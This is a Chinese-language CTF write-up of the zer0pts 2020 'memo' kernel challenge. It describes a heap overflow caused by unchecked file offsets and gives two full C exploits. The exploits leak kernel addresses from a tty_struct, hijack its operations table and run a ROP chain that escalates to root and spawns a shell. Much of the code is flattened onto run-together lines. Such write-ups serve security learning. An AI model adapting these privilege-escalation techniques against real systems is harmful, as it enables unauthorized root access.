zer0pts-2020-memo:由文件偏移处理不正确--引发的堆溢出

2024-02-09 16:04

本文主要是介绍zer0pts-2020-memo:由文件偏移处理不正确--引发的堆溢出,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

启动脚本

#!/bin/sh
qemu-system-x86_64 \-m 256M \-kernel ./bzImage \-initrd ./rootfs.cpio \-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr quiet" \-cpu kvm64,+smep,+smap \-monitor /dev/null \-nographic -enable-kvm
/ # dmesg | grep 'page table'
[    0.712632] Kernel/User page tables isolation: enabled
/ # cat /proc/cpuinfo | grep pti
fpu_exception	: yes
flags		: ... pti smep smap

smep,smap,kaslr,pti都开启了

问题

mod_readmod_write中,没有检查filp->f_ops+count的情况
在这里插入图片描述

利用方式

#define DEVICE_NAME "memo"
#define MAX_SIZE 0x400
memo = kmalloc(MAX_SIZE, GFP_KERNEL);

1、在驱动打开的时候,分配的memo是kmalloc-0x400的slab
2、分配tty_struct,使得与memo在同一kcache中,并且在memo下方
3、通过读memo下方的tty_struct,从而得到内核基地址(绕过kaslr)和堆相关的地址(从而获得memo的地址kernheap,布置rop)
4、将tty_struct->tty_operations指向memo的0x300处
5、将memo的0x300开始布置tty_operations,在0x300+0xC*8处布置tty_operations->ioctl,一个栈迁移指令
6、将rop布置到memo起始处(通过swapgs_restore_regs_and_return_to_usermode绕过PTI
7、ioctl(ptmx, kernheap, kernheap); kernheap为rdi

提权

exp1

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>#define ulong unsigned longulong user_cs, user_ss, user_sp, user_rflags;void pop_shell(void)
{char *argv[] = {"/bin/sh", NULL};char *envp[] = {NULL};execve("/bin/sh", argv, envp);
}static void save_state(void)
{asm("movq %%cs, %0\n""movq %%ss, %1\n""movq %%rsp, %2\n""pushfq\n""popq %3\n": "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) : : "memory");
}int main(void)
{// 前提是可以溢出,int memo = open("/dev/memo", O_RDWR); // 申请 0x400的空间int ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY); // 申请 0x400 tty_structchar buf[0x400];ulong *rop;ulong kernbase, kernheap;/**** gadgets ****/ulong off_ptm_unix98_ops_kernbase = 0x6191e0;ulong off_kernheap = 0x438;// 0xffffffff810243b8: push rdx ; pop rsp ; sub eax, 0x0002E5AC ; pop rax ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop rbp ; ret  ;  (1 found)ulong gad1 = 0x243b8;// 0xffffffff810e7ae8: pop rdi ; ret  ;  (47 found)ulong pop_rdi = 0xe7ae8;// 0xffffffff8100fc8e: mov rdi, rax ; rep movsq  ; ret  ;  (1 found)ulong mov_rdi_rax = 0xfc8e;// 0xffffffff810fb892: pop rcx ; add cl, byte [rax-0x7D] ; ret  ;  (2 found)ulong pop_rcx = 0xfb892;ulong prepare_kernel_cred = 0x44850;ulong commit_creds = 0x44680;/*0xffffffff812009c4 <+68>:    mov    rdi,rsp0xffffffff812009c7 <+71>:    mov    rsp,QWORD PTR ds:0xffffffff818060040xffffffff812009cf <+79>:    push   QWORD PTR [rdi+0x30]0xffffffff812009d2 <+82>:    push   QWORD PTR [rdi+0x28]0xffffffff812009d5 <+85>:    push   QWORD PTR [rdi+0x20]0xffffffff812009d8 <+88>:    push   QWORD PTR [rdi+0x18]0xffffffff812009db <+91>:    push   QWORD PTR [rdi+0x10]0xffffffff812009de <+94>:    push   QWORD PTR [rdi]0xffffffff812009e0 <+96>:    push   rax0xffffffff812009e1 <+97>:    xchg   ax,ax0xffffffff812009e3 <+99>:    mov    rdi,cr30xffffffff812009e6 <+102>:   jmp    0xffffffff81200a1a <common_interrupt+154>0xffffffff812009e8 <+104>:   mov    rax,rdi0xffffffff812009eb <+107>:   and    rdi,0x7ff*/ulong swapgs_restore_regs_and_return_to_usermode = 0x2009c4;// 保存状态save_state();// 溢出,读取 tty_structlseek(memo, 0x300, SEEK_SET);read(memo, buf, 0x400);// leak kernbase and kernheap// 可以从 tty_struct 中获取两类数据,代码的基地址,堆的基地址kernbase = *(unsigned long *)(buf + 0x100 + 0x18) - off_ptm_unix98_ops_kernbase;  // 这个很明显printf("kernbase: %lx\n", kernbase);// struct tty_struct-> read_wait(list_head)->next 指向了自己// 这个地方 off_kernheap 在不同的环境下不一定,需要自己调试确认一下kernheap = *(unsigned long *)(buf + 0x100 + 0x38) - off_kernheap; // kernheap 是 /dev/memo 堆地址printf("kernheap: %lx\n", kernheap);// vtableへのポインタの書き換え*(unsigned long *)(buf + 0xc * 8) = kernbase + gad1;       // fake ioctl entry*(unsigned long *)(buf + 0x100 + 0x18) = kernheap + 0x300; // fake vtable pointer // 将提取代码布置到 第一个0x400中lseek(memo, 0x300, SEEK_SET);write(memo, buf, 0x400); // overwrite ops and ioctl entry// ROP chainrop = (unsigned long *)buf;// gad1のごまかし*6*rop++ = 0x0;*rop++ = 0x0;*rop++ = 0x0;*rop++ = 0x0;*rop++ = 0x0;*rop++ = 0x0;// init_task の cred を入手*rop++ = kernbase + pop_rdi;*rop++ = 0;*rop++ = kernbase + prepare_kernel_cred;// 入手したcredを引数にしてcommit*rop++ = kernbase + pop_rcx; // mov_rdi_raxガジェットがrepを含んでいるため、カウンタ0にしておく*rop++ = 0;*rop++ = kernbase + mov_rdi_rax;*rop++ = kernbase + commit_creds;// return to usermode by swapgs_restore_regs_and_return_to_usermode*rop++ = kernbase + swapgs_restore_regs_and_return_to_usermode;*rop++ = 0;*rop++ = 0;*rop++ = (ulong)&pop_shell;*rop++ = user_cs;*rop++ = user_rflags;*rop++ = user_sp;*rop++ = user_ss;// invoke shelllseek(memo, 0x0, SEEK_SET);write(memo, buf, 0x100);// ioctl(ptmx,0xdeadbeef,0xcafebabe);// ioctl(ptmx,rip,rdx)// rip = 0xdeadbeef// rdx = 0xcafebabeioctl(ptmx, kernheap, kernheap);return 0;
}

exp2

// https://hackmd.io/@ptr-yudai/rJp1TpbBU#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>unsigned long kbase, kheap;
unsigned long ptm_unix98_ops = 0xe65900;unsigned long rop_mov_cr4_edi = 0x04b6a1;
unsigned long rop_push_r12_add_rbp_41_ebx_pop_rsp_r13 = 0x94d4e3;
unsigned long rop_pop_rdi = 0x001268;
unsigned long rop_pop_rcx = 0x04c852;
unsigned long rop_mov_rdi_rax = 0x019dcb;
unsigned long rop_bypass_kpti = 0xa00a45;
unsigned long commit_creds = 0xffffffff9127b8b0 - 0xffffffff91200000;
unsigned long prepare_kernel_cred = 0xffffffff9127bb50 - 0xffffffff91200000;unsigned long user_cs;
unsigned long user_ss;
unsigned long user_sp;
unsigned long user_rflags;static void save_state()
{asm("movq %%cs, %0\n""movq %%ss, %1\n""movq %%rsp, %2\n""pushfq\n""popq %3\n": "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags):: "memory");
}static void win() {char *argv[] = {"/bin/sh", NULL};char *envp[] = {NULL};puts("[+] Win!");execve("/bin/sh", argv, envp);
}int main() {unsigned long buf[0x400 / sizeof(unsigned long)];save_state();/* open drivers */int fd = open("/dev/memo", O_RDWR);if (fd < 0) {perror("/dev/memo");return 1;}int ptmx = open("/dev/ptmx", O_RDWR | O_NOCTTY);if (ptmx < 0) {perror("/dev/ptmx");return 1;}/* leak kbase & kheap */lseek(fd, 0x100, SEEK_SET);read(fd, buf, 0x400);kbase = buf[(0x300 + 0x18) / sizeof(unsigned long)] - ptm_unix98_ops;kheap = buf[(0x300 + 0x38) / sizeof(unsigned long)] - 0x38 - 0x400;printf("[+] kbase = 0x%016lx\n", kbase);printf("[+] kheap = 0x%016lx\n", kheap);/* write fake vtable, rop chain & overwrite ops */// fake tty_structbuf[(0x300 + 0x18) / sizeof(unsigned long)] = kheap + 0x100; // ops// fake tty_operationsbuf[12] = kbase + rop_push_r12_add_rbp_41_ebx_pop_rsp_r13; // ioctl// rop chainunsigned long *chain = &buf[0x100 / sizeof(unsigned long)];*chain++ = kbase + rop_pop_rdi;*chain++ = 0;*chain++ = kbase + prepare_kernel_cred;*chain++ = kbase + rop_pop_rcx;     // make rcx 0 to bypass rep*chain++ = 0;*chain++ = kbase + rop_mov_rdi_rax;*chain++ = kbase + commit_creds;    // cc(pkc(0));*chain++ = kbase + rop_bypass_kpti; // return to usermode*chain++ = 0xdeadbeef;*chain++ = 0xdeadbeef;*chain++ = (unsigned long)&win;*chain++ = user_cs;*chain++ = user_rflags;*chain++ = user_sp;*chain++ = user_ss;// overwrite!lseek(fd, 0x100, SEEK_SET);write(fd, buf, 0x400);/* ignite! */ioctl(ptmx, 0xdeadbeef, kheap + 0x200 - 8); // -8 for pop r13return 0;
}

这篇关于zer0pts-2020-memo:由文件偏移处理不正确--引发的堆溢出的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/694681

相关文章

Spring Boot @RestControllerAdvice全局异常处理最佳实践

《SpringBoot@RestControllerAdvice全局异常处理最佳实践》本文详解SpringBoot中通过@RestControllerAdvice实现全局异常处理,强调代码复用、统... 目录前言一、为什么要使用全局异常处理?二、核心注解解析1. @RestControllerAdvice2

Springboot如何正确使用AOP问题

《Springboot如何正确使用AOP问题》:本文主要介绍Springboot如何正确使用AOP问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录​一、AOP概念二、切点表达式​execution表达式案例三、AOP通知四、springboot中使用AOP导出

电脑提示xlstat4.dll丢失怎么修复? xlstat4.dll文件丢失处理办法

《电脑提示xlstat4.dll丢失怎么修复?xlstat4.dll文件丢失处理办法》长时间使用电脑,大家多少都会遇到类似dll文件丢失的情况,不过,解决这一问题其实并不复杂,下面我们就来看看xls... 在Windows操作系统中,xlstat4.dll是一个重要的动态链接库文件,通常用于支持各种应用程序

SQL Server数据库死锁处理超详细攻略

《SQLServer数据库死锁处理超详细攻略》SQLServer作为主流数据库管理系统,在高并发场景下可能面临死锁问题,影响系统性能和稳定性,这篇文章主要给大家介绍了关于SQLServer数据库死... 目录一、引言二、查询 Sqlserver 中造成死锁的 SPID三、用内置函数查询执行信息1. sp_w

Java对异常的认识与异常的处理小结

《Java对异常的认识与异常的处理小结》Java程序在运行时可能出现的错误或非正常情况称为异常,下面给大家介绍Java对异常的认识与异常的处理,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参... 目录一、认识异常与异常类型。二、异常的处理三、总结 一、认识异常与异常类型。(1)简单定义-什么是

Golang 日志处理和正则处理的操作方法

《Golang日志处理和正则处理的操作方法》:本文主要介绍Golang日志处理和正则处理的操作方法,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考... 目录1、logx日志处理1.1、logx简介1.2、日志初始化与配置1.3、常用方法1.4、配合defer

springboot加载不到nacos配置中心的配置问题处理

《springboot加载不到nacos配置中心的配置问题处理》:本文主要介绍springboot加载不到nacos配置中心的配置问题处理,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑... 目录springboot加载不到nacos配置中心的配置两种可能Spring Boot 版本Nacos

python web 开发之Flask中间件与请求处理钩子的最佳实践

《pythonweb开发之Flask中间件与请求处理钩子的最佳实践》Flask作为轻量级Web框架,提供了灵活的请求处理机制,中间件和请求钩子允许开发者在请求处理的不同阶段插入自定义逻辑,实现诸如... 目录Flask中间件与请求处理钩子完全指南1. 引言2. 请求处理生命周期概述3. 请求钩子详解3.1

Python处理大量Excel文件的十个技巧分享

《Python处理大量Excel文件的十个技巧分享》每天被大量Excel文件折磨的你看过来!这是一份Python程序员整理的实用技巧,不说废话,直接上干货,文章通过代码示例讲解的非常详细,需要的朋友可... 目录一、批量读取多个Excel文件二、选择性读取工作表和列三、自动调整格式和样式四、智能数据清洗五、

linux lvm快照的正确mount挂载实现方式

《linuxlvm快照的正确mount挂载实现方式》:本文主要介绍linuxlvm快照的正确mount挂载实现方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录linux lvm快照的正确mount挂载1. 检查快照是否正确创建www.chinasem.cn2.